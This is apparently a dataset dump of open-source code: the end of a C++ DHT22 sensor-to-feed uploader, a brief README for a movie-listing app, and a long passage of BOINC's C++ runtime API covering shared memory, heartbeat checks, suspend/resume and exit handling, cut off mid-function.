sprintf(payload, "{\"title\":\"%s\",\"version\":\"1.0.0\",\"datastreams\":[{\"id\":\"%s\",\"current_value\":%0.1f},{\"id\":\"%s\",\"current_value\":%0.1f}]}", feed_name, field0_name, humid, field1_name, temp);
// struct curl_slist *header=NULL;
// header = curl_slist_append(header, xapikey);
// curl_global_init(CURL_GLOBAL_ALL);
// curl = curl_easy_init();
//
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 0);
// curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
// curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "PUT");
// curl_easy_setopt(curl, CURLOPT_URL, url);
// curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
//
// res = curl_easy_perform(curl);
// if(res != CURLE_OK) {
// fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
// }
//
// curl_easy_cleanup(curl);
// curl_slist_free_all(header);
// curl_global_cleanup();
return 0;
}
int readconfig(char *pFileName, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name) {
char buffer[1024];
char label[120];
char value[100];
int allread = 0;
FILE* fp;
fp = fopen(pFileName, "r");
if (!fp) {
printf("Error opening config_file %s!\n", pFileName);
return 1;
}
printf("Opening config file: %s\n", pFileName);
fflush(stdout);
while (feof(fp) == 0) {
fgets(buffer, 1024, fp);
if ((buffer[0] != '#')) // && (no>2))
{
if (sscanf(buffer, "%[^'=']=%[^'\n']%s", &label, &value) >= 2){
if (strcmp(label, "FEEDID") == 0)
*feedid = atoi(value);
if (strcmp(label, "KEY") == 0)
sprintf(key, "%s", value);
if (strcmp(label, "FEED_NAME") == 0)
sprintf(feed_name, "%s", value);
if (strcmp(label, "FIELD0_NAME") == 0)
sprintf(field0_name, "%s", value);
if (strcmp(label, "FIELD1_NAME") == 0)
sprintf(field1_name, "%s", value);
}
}
}
fclose(fp);
return 0;
}
| FreshXOpenSource/wallyd | extra/dht22.cpp | C++ | gpl-3.0 | 6,241 |
# PickAMovie
This app gets movies from moviedb, using their API. For this to work you must insert your API key in the NetworkUtils class.
| petemit/PickAMovie | README.md | Markdown | gpl-3.0 | 140 |
// This file is part of BOINC.
// http://boinc.berkeley.edu
// Copyright (C) 2008 University of California
//
// BOINC is free software; you can redistribute it and/or modify it
// under the terms of the GNU Lesser General Public License
// as published by the Free Software Foundation,
// either version 3 of the License, or (at your option) any later version.
//
// BOINC is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with BOINC. If not, see <http://www.gnu.org/licenses/>.
// The BOINC API and runtime system.
//
// Notes:
// 1) Thread structure:
// Sequential apps
// Unix
// getting CPU time and suspend/resume have to be done
// in the worker thread, so we use a SIGALRM signal handler.
// However, many library functions and system calls
// are not "asynch signal safe": see, e.g.
// http://www.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_04.html#tag_02_04_03
// (e.g. sprintf() in a signal handler hangs Mac OS X)
// so we do as little as possible in the signal handler,
// and do the rest in a separate "timer thread".
// Win
// the timer thread does everything
// Multi-thread apps:
// Unix:
// fork
// original process runs timer loop:
// handle suspend/resume/quit, heartbeat (use signals)
// new process call boinc_init_options() with flags to
// send status messages and handle checkpoint stuff,
// and returns from boinc_init_parallel()
// NOTE: THIS DOESN'T RESPECT CRITICAL SECTIONS.
// NEED TO MASK SIGNALS IN CHILD DURING CRITICAL SECTIONS
// Win:
// like sequential case, except suspend/resume must enumerate
// all threads (except timer) and suspend/resume them all
//
// 2) All variables that are accessed by two threads (i.e. worker and timer)
// MUST be declared volatile.
//
// 3) For compatibility with C, we use int instead of bool various places
//
// 4) We must periodically check that the client is still alive and exit if not.
// Originally this was done using heartbeat msgs from client.
// This is unreliable, e.g. if the client is blocked for a long time.
// As of Oct 11 2012 we use a different mechanism:
// the client passes its PID and we periodically check whether it exists.
// But we need to support the heartbeat mechanism also for compatibility.
//
// Terminology:
// The processing of a result can be divided
// into multiple "episodes" (executions of the app),
// each of which resumes from the checkpointed state of the previous episode.
// Unless otherwise noted, "CPU time" refers to the sum over all episodes
// (not counting the part after the last checkpoint in an episode).
#if defined(_WIN32) && !defined(__STDWX_H__) && !defined(_BOINC_WIN_) && !defined(_AFX_STDAFX_H_)
#include "boinc_win.h"
#endif
#ifdef _WIN32
#include "version.h"
#include "win_util.h"
#else
#include "config.h"
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <cstdarg>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <pthread.h>
#include <vector>
#ifndef __EMX__
#include <sched.h>
#endif
#endif
#include "app_ipc.h"
#include "common_defs.h"
#include "diagnostics.h"
#include "error_numbers.h"
#include "filesys.h"
#include "mem_usage.h"
#include "parse.h"
#include "proc_control.h"
#include "shmem.h"
#include "str_replace.h"
#include "str_util.h"
#include "util.h"
#include "boinc_api.h"
using std::vector;
//#define DEBUG_BOINC_API
#ifdef __APPLE__
#include "mac_backtrace.h"
#define GETRUSAGE_IN_TIMER_THREAD
// call getrusage() in the timer thread,
// rather than in the worker thread's signal handler
// (which can cause crashes on Mac)
// If you want, you can set this for Linux too:
// CPPFLAGS=-DGETRUSAGE_IN_TIMER_THREAD
#endif
const char* api_version = "API_VERSION_" PACKAGE_VERSION;
static APP_INIT_DATA aid;
static FILE_LOCK file_lock;
APP_CLIENT_SHM* app_client_shm = 0;
static volatile int time_until_checkpoint;
// time until enable checkpoint
static volatile double fraction_done;
static volatile double last_checkpoint_cpu_time;
static volatile bool ready_to_checkpoint = false;
static volatile int in_critical_section = 0;
static volatile double last_wu_cpu_time;
static volatile bool standalone = false;
static volatile double initial_wu_cpu_time;
static volatile bool have_new_trickle_up = false;
static volatile bool have_trickle_down = true;
// on first call, scan slot dir for msgs
static volatile int heartbeat_giveup_count;
// interrupt count value at which to give up on core client
#ifdef _WIN32
static volatile int nrunning_ticks = 0;
#endif
static volatile int interrupt_count = 0;
// number of timer interrupts
// used to measure elapsed time in a way that's
// not affected by user changing system clock,
// and doesn't have big jump after hibernation
static volatile int running_interrupt_count = 0;
// number of timer interrupts while not suspended.
// Used to compute elapsed time
static volatile bool finishing;
// used for worker/timer synch during boinc_finish();
static int want_network = 0;
static int have_network = 1;
static double bytes_sent = 0;
static double bytes_received = 0;
bool boinc_disable_timer_thread = false;
// simulate unresponsive app by setting to true (debugging)
static FUNC_PTR timer_callback = 0;
char web_graphics_url[256];
bool send_web_graphics_url = false;
char remote_desktop_addr[256];
bool send_remote_desktop_addr = false;
int app_min_checkpoint_period = 0;
// min checkpoint period requested by app
#define TIMER_PERIOD 0.1
// Sleep interval for timer thread;
// determines max rate of handling messages from client.
// Unix: period of worker-thread timer interrupts.
#define TIMERS_PER_SEC 10
// reciprocal of TIMER_PERIOD
// This determines the resolution of fraction done and CPU time reporting
// to the client, and of checkpoint enabling.
#define HEARTBEAT_GIVEUP_SECS 30
#define HEARTBEAT_GIVEUP_COUNT ((int)(HEARTBEAT_GIVEUP_SECS/TIMER_PERIOD))
// quit if no heartbeat from core in this #interrupts
#define LOCKFILE_TIMEOUT_PERIOD 35
// quit if we cannot aquire slot lock file in this #secs after startup
#ifdef _WIN32
static HANDLE hSharedMem;
HANDLE worker_thread_handle;
// used to suspend worker thread, and to measure its CPU time
DWORD timer_thread_id;
#else
static volatile bool worker_thread_exit_flag = false;
static volatile int worker_thread_exit_status;
// the above are used by the timer thread to tell
// the worker thread to exit
static pthread_t worker_thread_handle;
static pthread_t timer_thread_handle;
#ifndef GETRUSAGE_IN_TIMER_THREAD
static struct rusage worker_thread_ru;
#endif
#endif
static BOINC_OPTIONS options;
volatile BOINC_STATUS boinc_status;
// vars related to intermediate file upload
struct UPLOAD_FILE_STATUS {
std::string name;
int status;
};
static bool have_new_upload_file;
static std::vector<UPLOAD_FILE_STATUS> upload_file_status;
static int resume_activities();
static void boinc_exit(int);
static void block_sigalrm();
static int start_worker_signals();
char* boinc_msg_prefix(char* sbuf, int len) {
char buf[256];
struct tm tm;
struct tm *tmp = &tm;
int n;
time_t x = time(0);
if (x == -1) {
strlcpy(sbuf, "time() failed", len);
return sbuf;
}
#ifdef _WIN32
#ifdef __MINGW32__
if ((tmp = localtime(&x)) == NULL) {
#else
if (localtime_s(&tm, &x) == EINVAL) {
#endif
#else
if (localtime_r(&x, &tm) == NULL) {
#endif
strlcpy(sbuf, "localtime() failed", len);
return sbuf;
}
if (strftime(buf, sizeof(buf)-1, "%H:%M:%S", tmp) == 0) {
strlcpy(sbuf, "strftime() failed", len);
return sbuf;
}
#ifdef _WIN32
n = _snprintf(sbuf, len, "%s (%d):", buf, GetCurrentProcessId());
#else
n = snprintf(sbuf, len, "%s (%d):", buf, getpid());
#endif
if (n < 0) {
strlcpy(sbuf, "sprintf() failed", len);
return sbuf;
}
sbuf[len-1] = 0; // just in case
return sbuf;
}
static int setup_shared_mem() {
char buf[256];
if (standalone) {
fprintf(stderr,
"%s Standalone mode, so not using shared memory.\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return 0;
}
app_client_shm = new APP_CLIENT_SHM;
#ifdef _WIN32
sprintf(buf, "%s%s", SHM_PREFIX, aid.shmem_seg_name);
hSharedMem = attach_shmem(buf, (void**)&app_client_shm->shm);
if (hSharedMem == NULL) {
delete app_client_shm;
app_client_shm = NULL;
}
#else
#ifdef __EMX__
if (attach_shmem(aid.shmem_seg_name, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
#else
if (aid.shmem_seg_name == -1) {
// Version 6 Unix/Linux/Mac client
if (attach_shmem_mmap(MMAPPED_FILE_NAME, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
} else {
// version 5 Unix/Linux/Mac client
if (attach_shmem(aid.shmem_seg_name, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
}
#endif
#endif // ! _WIN32
if (app_client_shm == NULL) return -1;
return 0;
}
// a mutex for data structures shared between time and worker threads
//
#ifdef _WIN32
static HANDLE mutex;
static void init_mutex() {
mutex = CreateMutex(NULL, FALSE, NULL);
}
static inline void acquire_mutex() {
WaitForSingleObject(mutex, INFINITE);
}
static inline void release_mutex() {
ReleaseMutex(mutex);
}
#else
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
static void init_mutex() {}
static inline void acquire_mutex() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s acquiring mutex\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
pthread_mutex_lock(&mutex);
}
static inline void release_mutex() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s releasing mutex\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
pthread_mutex_unlock(&mutex);
}
#endif
// Return CPU time of process.
//
double boinc_worker_thread_cpu_time() {
double cpu;
#ifdef _WIN32
int retval;
retval = boinc_process_cpu_time(GetCurrentProcess(), cpu);
if (retval) {
cpu = nrunning_ticks * TIMER_PERIOD; // for Win9x
}
#else
#ifdef GETRUSAGE_IN_TIMER_THREAD
struct rusage worker_thread_ru;
getrusage(RUSAGE_SELF, &worker_thread_ru);
#endif
cpu = (double)worker_thread_ru.ru_utime.tv_sec
+ (((double)worker_thread_ru.ru_utime.tv_usec)/1000000.0);
cpu += (double)worker_thread_ru.ru_stime.tv_sec
+ (((double)worker_thread_ru.ru_stime.tv_usec)/1000000.0);
#endif
return cpu;
}
// Communicate to the core client (via shared mem)
// the current CPU time and fraction done.
// NOTE: various bugs could cause some of these FP numbers to be enormous,
// possibly overflowing the buffer.
// So use strlcat() instead of strcat()
//
// This is called only from the timer thread (so no need for synch)
//
static bool update_app_progress(double cpu_t, double cp_cpu_t) {
char msg_buf[MSG_CHANNEL_SIZE], buf[256];
if (standalone) return true;
sprintf(msg_buf,
"<current_cpu_time>%e</current_cpu_time>\n"
"<checkpoint_cpu_time>%e</checkpoint_cpu_time>\n",
cpu_t, cp_cpu_t
);
if (want_network) {
strlcat(msg_buf, "<want_network>1</want_network>\n", sizeof(msg_buf));
}
if (fraction_done >= 0) {
double range = aid.fraction_done_end - aid.fraction_done_start;
double fdone = aid.fraction_done_start + fraction_done*range;
sprintf(buf, "<fraction_done>%e</fraction_done>\n", fdone);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
if (bytes_sent) {
sprintf(buf, "<bytes_sent>%f</bytes_sent>\n", bytes_sent);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
if (bytes_received) {
sprintf(buf, "<bytes_received>%f</bytes_received>\n", bytes_received);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
return app_client_shm->shm->app_status.send_msg(msg_buf);
}
static void handle_heartbeat_msg() {
char buf[MSG_CHANNEL_SIZE];
double dtemp;
bool btemp;
if (app_client_shm->shm->heartbeat.get_msg(buf)) {
boinc_status.network_suspended = false;
if (match_tag(buf, "<heartbeat/>")) {
heartbeat_giveup_count = interrupt_count + HEARTBEAT_GIVEUP_COUNT;
}
if (parse_double(buf, "<wss>", dtemp)) {
boinc_status.working_set_size = dtemp;
}
if (parse_double(buf, "<max_wss>", dtemp)) {
boinc_status.max_working_set_size = dtemp;
}
if (parse_bool(buf, "suspend_network", btemp)) {
boinc_status.network_suspended = btemp;
}
}
}
static bool client_dead() {
char buf[256];
bool dead;
if (aid.client_pid) {
// check every 10 sec
//
if (interrupt_count%(TIMERS_PER_SEC*10)) return false;
#ifdef _WIN32
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, aid.client_pid);
// If the process exists but is running under a different user account (boinc_master)
// then the handle returned is NULL and GetLastError() returns ERROR_ACCESS_DENIED.
//
if ((h == NULL) && (GetLastError() != ERROR_ACCESS_DENIED)) {
dead = true;
} else {
if (h) CloseHandle(h);
dead = false;
}
#else
int retval = kill(aid.client_pid, 0);
dead = (retval == -1 && errno == ESRCH);
#endif
} else {
dead = (interrupt_count > heartbeat_giveup_count);
}
if (dead) {
boinc_msg_prefix(buf, sizeof(buf));
fputs(buf, stderr); // don't use fprintf() here
if (aid.client_pid) {
fputs(" BOINC client no longer exists - exiting\n", stderr);
} else {
fputs(" No heartbeat from client for 30 sec - exiting\n", stderr);
}
return true;
}
return false;
}
#ifndef _WIN32
// For multithread apps on Unix, the main process executes the following.
//
static void parallel_master(int child_pid) {
char buf[MSG_CHANNEL_SIZE];
int exit_status;
while (1) {
boinc_sleep(TIMER_PERIOD);
interrupt_count++;
if (app_client_shm) {
handle_heartbeat_msg();
if (app_client_shm->shm->process_control_request.get_msg(buf)) {
if (match_tag(buf, "<suspend/>")) {
kill(child_pid, SIGSTOP);
} else if (match_tag(buf, "<resume/>")) {
kill(child_pid, SIGCONT);
} else if (match_tag(buf, "<quit/>")) {
kill(child_pid, SIGKILL);
exit(0);
} else if (match_tag(buf, "<abort/>")) {
kill(child_pid, SIGKILL);
exit(EXIT_ABORTED_BY_CLIENT);
}
}
if (client_dead()) {
kill(child_pid, SIGKILL);
exit(0);
}
}
if (interrupt_count % TIMERS_PER_SEC) continue;
if (waitpid(child_pid, &exit_status, WNOHANG) == child_pid) break;
}
boinc_finish(exit_status);
}
#endif
int boinc_init() {
int retval;
if (!diagnostics_is_initialized()) {
retval = boinc_init_diagnostics(BOINC_DIAG_DEFAULTS);
if (retval) return retval;
}
boinc_options_defaults(options);
return boinc_init_options(&options);
}
int boinc_init_options(BOINC_OPTIONS* opt) {
int retval;
#ifndef _WIN32
if (options.multi_thread) {
int child_pid = fork();
if (child_pid) {
// original process - master
//
options.send_status_msgs = false;
retval = boinc_init_options_general(options);
if (retval) {
kill(child_pid, SIGKILL);
return retval;
}
parallel_master(child_pid);
}
// new process - slave
//
options.main_program = false;
options.check_heartbeat = false;
options.handle_process_control = false;
options.multi_thread = false;
options.multi_process = false;
return boinc_init_options(&options);
}
#endif
retval = boinc_init_options_general(*opt);
if (retval) return retval;
retval = start_timer_thread();
if (retval) return retval;
#ifndef _WIN32
retval = start_worker_signals();
if (retval) return retval;
#endif
return 0;
}
int boinc_init_parallel() {
BOINC_OPTIONS _options;
boinc_options_defaults(_options);
_options.multi_thread = true;
return boinc_init_options(&_options);
}
static int min_checkpoint_period() {
int x = (int)aid.checkpoint_period;
if (app_min_checkpoint_period > x) {
x = app_min_checkpoint_period;
}
if (x == 0) x = DEFAULT_CHECKPOINT_PERIOD;
return x;
}
int boinc_set_min_checkpoint_period(int x) {
app_min_checkpoint_period = x;
if (x > time_until_checkpoint) {
time_until_checkpoint = x;
}
return 0;
}
int boinc_init_options_general(BOINC_OPTIONS& opt) {
int retval;
char buf[256];
options = opt;
if (!diagnostics_is_initialized()) {
retval = boinc_init_diagnostics(BOINC_DIAG_DEFAULTS);
if (retval) return retval;
}
boinc_status.no_heartbeat = false;
boinc_status.suspended = false;
boinc_status.quit_request = false;
boinc_status.abort_request = false;
if (options.main_program) {
// make sure we're the only app running in this slot
//
retval = file_lock.lock(LOCKFILE);
if (retval) {
// give any previous occupant a chance to timeout and exit
//
fprintf(stderr, "%s Can't acquire lockfile (%d) - waiting %ds\n",
boinc_msg_prefix(buf, sizeof(buf)),
retval, LOCKFILE_TIMEOUT_PERIOD
);
boinc_sleep(LOCKFILE_TIMEOUT_PERIOD);
retval = file_lock.lock(LOCKFILE);
}
if (retval) {
fprintf(stderr, "%s Can't acquire lockfile (%d) - exiting\n",
boinc_msg_prefix(buf, sizeof(buf)),
retval
);
#ifdef _WIN32
char buf2[256];
windows_format_error_string(GetLastError(), buf2, 256);
fprintf(stderr, "%s Error: %s\n", boinc_msg_prefix(buf, sizeof(buf)), buf2);
#endif
// if we can't acquire the lock file there must be
// another app instance running in this slot.
// If we exit(0), the client will keep restarting us.
// Instead, tell the client not to restart us for 10 min.
//
boinc_temporary_exit(600, "Waiting to acquire lock");
}
}
retval = boinc_parse_init_data_file();
if (retval) {
standalone = true;
} else {
retval = setup_shared_mem();
if (retval) {
fprintf(stderr,
"%s Can't set up shared mem: %d. Will run in standalone mode.\n",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
standalone = true;
}
}
// copy the WU CPU time to a separate var,
// since we may reread the structure again later.
//
initial_wu_cpu_time = aid.wu_cpu_time;
fraction_done = -1;
time_until_checkpoint = min_checkpoint_period();
last_checkpoint_cpu_time = aid.wu_cpu_time;
last_wu_cpu_time = aid.wu_cpu_time;
if (standalone) {
options.check_heartbeat = false;
}
heartbeat_giveup_count = interrupt_count + HEARTBEAT_GIVEUP_COUNT;
init_mutex();
return 0;
}
int boinc_get_status(BOINC_STATUS *s) {
s->no_heartbeat = boinc_status.no_heartbeat;
s->suspended = boinc_status.suspended;
s->quit_request = boinc_status.quit_request;
s->reread_init_data_file = boinc_status.reread_init_data_file;
s->abort_request = boinc_status.abort_request;
s->working_set_size = boinc_status.working_set_size;
s->max_working_set_size = boinc_status.max_working_set_size;
s->network_suspended = boinc_status.network_suspended;
return 0;
}
// if we have any new trickle-ups or file upload requests,
// send a message describing them
//
static void send_trickle_up_msg() {
char buf[MSG_CHANNEL_SIZE];
BOINCINFO("Sending Trickle Up Message");
if (standalone) return;
strcpy(buf, "");
if (have_new_trickle_up) {
strcat(buf, "<have_new_trickle_up/>\n");
}
if (have_new_upload_file) {
strcat(buf, "<have_new_upload_file/>\n");
}
if (strlen(buf)) {
if (app_client_shm->shm->trickle_up.send_msg(buf)) {
have_new_trickle_up = false;
have_new_upload_file = false;
}
}
}
// NOTE: a non-zero status tells the core client that we're exiting with
// an "unrecoverable error", which will be reported back to server.
// A zero exit-status tells the client we've successfully finished the result.
//
int boinc_finish(int status) {
char buf[256];
fraction_done = 1;
fprintf(stderr,
"%s called boinc_finish(%d)\n",
boinc_msg_prefix(buf, sizeof(buf)), status
);
finishing = true;
boinc_sleep(2.0); // let the timer thread send final messages
boinc_disable_timer_thread = true; // then disable it
if (options.main_program && status==0) {
FILE* f = fopen(BOINC_FINISH_CALLED_FILE, "w");
if (f) fclose(f);
}
boinc_exit(status);
return 0; // never reached
}
int boinc_temporary_exit(int delay, const char* reason) {
FILE* f = fopen(TEMPORARY_EXIT_FILE, "w");
if (!f) {
return ERR_FOPEN;
}
fprintf(f, "%d\n", delay);
if (reason) {
fprintf(f, "%s\n", reason);
}
fclose(f);
boinc_exit(0);
return 0;
}
// unlock the lockfile and call the appropriate exit function
// Unix: called only from the worker thread.
// Win: called from the worker or timer thread.
//
// make static eventually
//
void boinc_exit(int status) {
int retval;
char buf[256];
if (options.main_program && file_lock.locked) {
retval = file_lock.unlock(LOCKFILE);
if (retval) {
#ifdef _WIN32
windows_format_error_string(GetLastError(), buf, 256);
fprintf(stderr,
"%s Can't unlock lockfile (%d): %s\n",
boinc_msg_prefix(buf, sizeof(buf)), retval, buf
);
#else
fprintf(stderr,
"%s Can't unlock lockfile (%d)\n",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
perror("file unlock failed");
#endif
}
}
// kill any processes the app may have created
//
if (options.multi_process) {
kill_descendants();
}
boinc_finish_diag();
// various platforms have problems shutting down a process
// while other threads are still executing,
// or triggering endless exit()/atexit() loops.
//
BOINCINFO("Exit Status: %d", status);
fflush(NULL);
#if defined(_WIN32)
// Halt all the threads and clean up.
TerminateProcess(GetCurrentProcess(), status);
// note: the above CAN return!
Sleep(1000);
DebugBreak();
#elif defined(__APPLE_CC__)
// stops endless exit()/atexit() loops.
_exit(status);
#else
// arrange to exit with given status even if errors happen
// in atexit() functions
//
set_signal_exit_code(status);
exit(status);
#endif
}
void boinc_network_usage(double sent, double received) {
bytes_sent = sent;
bytes_received = received;
}
int boinc_is_standalone() {
if (standalone) return 1;
return 0;
}
static void exit_from_timer_thread(int status) {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s exit_from_timer_thread(%d) called\n",
boinc_msg_prefix(buf, sizeof(buf)), status
);
#endif
#ifdef _WIN32
// TerminateProcess() doesn't work if there are suspended threads?
if (boinc_status.suspended) {
resume_activities();
}
// this seems to work OK on Windows
//
boinc_exit(status);
#else
// but on Unix there are synchronization problems;
// set a flag telling the worker thread to exit
//
worker_thread_exit_status = status;
worker_thread_exit_flag = true;
pthread_exit(NULL);
#endif
}
// parse the init data file.
// This is done at startup, and also if a "reread prefs" message is received
//
int boinc_parse_init_data_file() {
FILE* f;
int retval;
char buf[256];
if (aid.project_preferences) {
free(aid.project_preferences);
aid.project_preferences = NULL;
}
aid.clear();
aid.checkpoint_period = DEFAULT_CHECKPOINT_PERIOD;
if (!boinc_file_exists(INIT_DATA_FILE)) {
fprintf(stderr,
"%s Can't open init data file - running in standalone mode\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return ERR_FOPEN;
}
f = boinc_fopen(INIT_DATA_FILE, "r");
retval = parse_init_data_file(f, aid);
fclose(f);
if (retval) {
fprintf(stderr,
"%s Can't parse init data file - running in standalone mode\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return retval;
}
return 0;
}
int boinc_report_app_status_aux(
double cpu_time,
double checkpoint_cpu_time,
double _fraction_done,
int other_pid,
double _bytes_sent,
double _bytes_received
) {
char msg_buf[MSG_CHANNEL_SIZE], buf[1024];
if (standalone) return 0;
sprintf(msg_buf,
"<current_cpu_time>%e</current_cpu_time>\n"
"<checkpoint_cpu_time>%e</checkpoint_cpu_time>\n"
"<fraction_done>%e</fraction_done>\n",
cpu_time,
checkpoint_cpu_time,
_fraction_done
);
if (other_pid) {
sprintf(buf, "<other_pid>%d</other_pid>\n", other_pid);
strcat(msg_buf, buf);
}
if (_bytes_sent) {
sprintf(buf, "<bytes_sent>%f</bytes_sent>\n", _bytes_sent);
strcat(msg_buf, buf);
}
if (_bytes_received) {
sprintf(buf, "<bytes_received>%f</bytes_received>\n", _bytes_received);
strcat(msg_buf, buf);
}
if (app_client_shm->shm->app_status.send_msg(msg_buf)) {
return 0;
}
return ERR_WRITE;
}
int boinc_report_app_status(
double cpu_time,
double checkpoint_cpu_time,
double _fraction_done
){
return boinc_report_app_status_aux(
cpu_time, checkpoint_cpu_time, _fraction_done, 0, 0, 0
);
}
int boinc_get_init_data_p(APP_INIT_DATA* app_init_data) {
*app_init_data = aid;
return 0;
}
int boinc_get_init_data(APP_INIT_DATA& app_init_data) {
app_init_data = aid;
return 0;
}
int boinc_wu_cpu_time(double& cpu_t) {
cpu_t = last_wu_cpu_time;
return 0;
}
// Suspend this job.
// Can be called from either timer or worker thread.
//
static int suspend_activities(bool called_from_worker) {
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s suspend_activities() called from %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)),
called_from_worker?"worker thread":"timer thread"
);
#endif
#ifdef _WIN32
static vector<int> pids;
if (options.multi_thread) {
if (pids.size() == 0) {
pids.push_back(GetCurrentProcessId());
}
suspend_or_resume_threads(pids, timer_thread_id, false, true);
} else {
SuspendThread(worker_thread_handle);
}
#else
if (options.multi_process) {
suspend_or_resume_descendants(false);
}
// if called from worker thread, sleep until suspension is over
// if called from time thread, don't need to do anything;
// suspension is done by signal handler in worker thread
//
if (called_from_worker) {
while (boinc_status.suspended) {
sleep(1);
}
}
#endif
return 0;
}
int resume_activities() {
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s resume_activities()\n",
boinc_msg_prefix(log_buf, sizeof(log_buf))
);
#endif
#ifdef _WIN32
static vector<int> pids;
if (options.multi_thread) {
if (pids.size() == 0) pids.push_back(GetCurrentProcessId());
suspend_or_resume_threads(pids, timer_thread_id, true, true);
} else {
ResumeThread(worker_thread_handle);
}
#else
if (options.multi_process) {
suspend_or_resume_descendants(true);
}
#endif
return 0;
}
static void handle_upload_file_status() {
char path[MAXPATHLEN], buf[256], log_name[256], *p, log_buf[256];
std::string filename;
int status;
relative_to_absolute("", path);
DirScanner dirscan(path);
while (dirscan.scan(filename)) {
strlcpy(buf, filename.c_str(), sizeof(buf));
if (strstr(buf, UPLOAD_FILE_STATUS_PREFIX) != buf) continue;
strlcpy(log_name, buf+strlen(UPLOAD_FILE_STATUS_PREFIX), sizeof(log_name));
FILE* f = boinc_fopen(filename.c_str(), "r");
if (!f) {
fprintf(stderr,
"%s handle_file_upload_status: can't open %s\n",
boinc_msg_prefix(buf, sizeof(buf)), filename.c_str()
);
continue;
}
p = fgets(buf, sizeof(buf), f);
fclose(f);
if (p && parse_int(buf, "<status>", status)) {
UPLOAD_FILE_STATUS uf;
uf.name = std::string(log_name);
uf.status = status;
upload_file_status.push_back(uf);
} else {
fprintf(stderr, "%s handle_upload_file_status: can't parse %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)), buf
);
}
}
}
// handle trickle and file upload messages
//
static void handle_trickle_down_msg() {
char buf[MSG_CHANNEL_SIZE];
if (app_client_shm->shm->trickle_down.get_msg(buf)) {
BOINCINFO("Received Trickle Down Message");
if (match_tag(buf, "<have_trickle_down/>")) {
have_trickle_down = true;
}
if (match_tag(buf, "<upload_file_status/>")) {
handle_upload_file_status();
}
}
}
// This flag is set of we get a suspend request while in a critical section,
// and options.direct_process_action is set.
// As soon as we're not in the critical section we'll do the suspend.
//
static bool suspend_request = false;
// runs in timer thread
//
static void handle_process_control_msg() {
char buf[MSG_CHANNEL_SIZE];
if (app_client_shm->shm->process_control_request.get_msg(buf)) {
acquire_mutex();
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s got process control msg %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)), buf
);
#endif
if (match_tag(buf, "<suspend/>")) {
BOINCINFO("Received suspend message");
if (options.direct_process_action) {
if (in_critical_section) {
suspend_request = true;
} else {
boinc_status.suspended = true;
suspend_request = false;
suspend_activities(false);
}
} else {
boinc_status.suspended = true;
}
}
if (match_tag(buf, "<resume/>")) {
BOINCINFO("Received resume message");
if (options.direct_process_action) {
if (boinc_status.suspended) {
resume_activities();
} else if (suspend_request) {
suspend_request = false;
}
}
boinc_status.suspended = false;
}
if (boinc_status.quit_request || match_tag(buf, "<quit/>")) {
BOINCINFO("Received quit message");
boinc_status.quit_request = true;
if (!in_critical_section && options.direct_process_action) {
exit_from_timer_thread(0);
}
}
if (boinc_status.abort_request || match_tag(buf, "<abort/>")) {
BOINCINFO("Received abort message");
boinc_status.abort_request = true;
if (!in_critical_section && options.direct_process_action) {
diagnostics_set_aborted_via_gui();
#if defined(_WIN32)
// Cause a controlled assert and dump the callstacks.
DebugBreak();
#elif defined(__APPLE__)
PrintBacktrace();
#endif
release_mutex();
exit_from_timer_thread(EXIT_ABORTED_BY_CLIENT);
}
}
if (match_tag(buf, "<reread_app_info/>")) {
boinc_status.reread_init_data_file = true;
}
if (match_tag(buf, "<network_available/>")) {
have_network = 1;
}
release_mutex();
}
}
// timer handler; runs in the timer thread
//
static void timer_handler() {
char buf[512];
#ifdef DEBUG_BOINC_API
fprintf(stderr, "%s timer handler: disabled %s; in critical section %s; finishing %s\n",
boinc_msg_prefix(buf, sizeof(buf)),
boinc_disable_timer_thread?"yes":"no",
in_critical_section?"yes":"no",
finishing?"yes":"no"
);
#endif
if (boinc_disable_timer_thread) {
return;
}
if (finishing) {
if (options.send_status_msgs) {
double cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + initial_wu_cpu_time;
update_app_progress(last_wu_cpu_time, last_checkpoint_cpu_time);
}
boinc_disable_timer_thread = true;
return;
}
interrupt_count++;
if (!boinc_status.suspended) {
running_interrupt_count++;
}
// handle messages from the core client
//
if (app_client_shm) {
if (options.check_heartbeat) {
handle_heartbeat_msg();
}
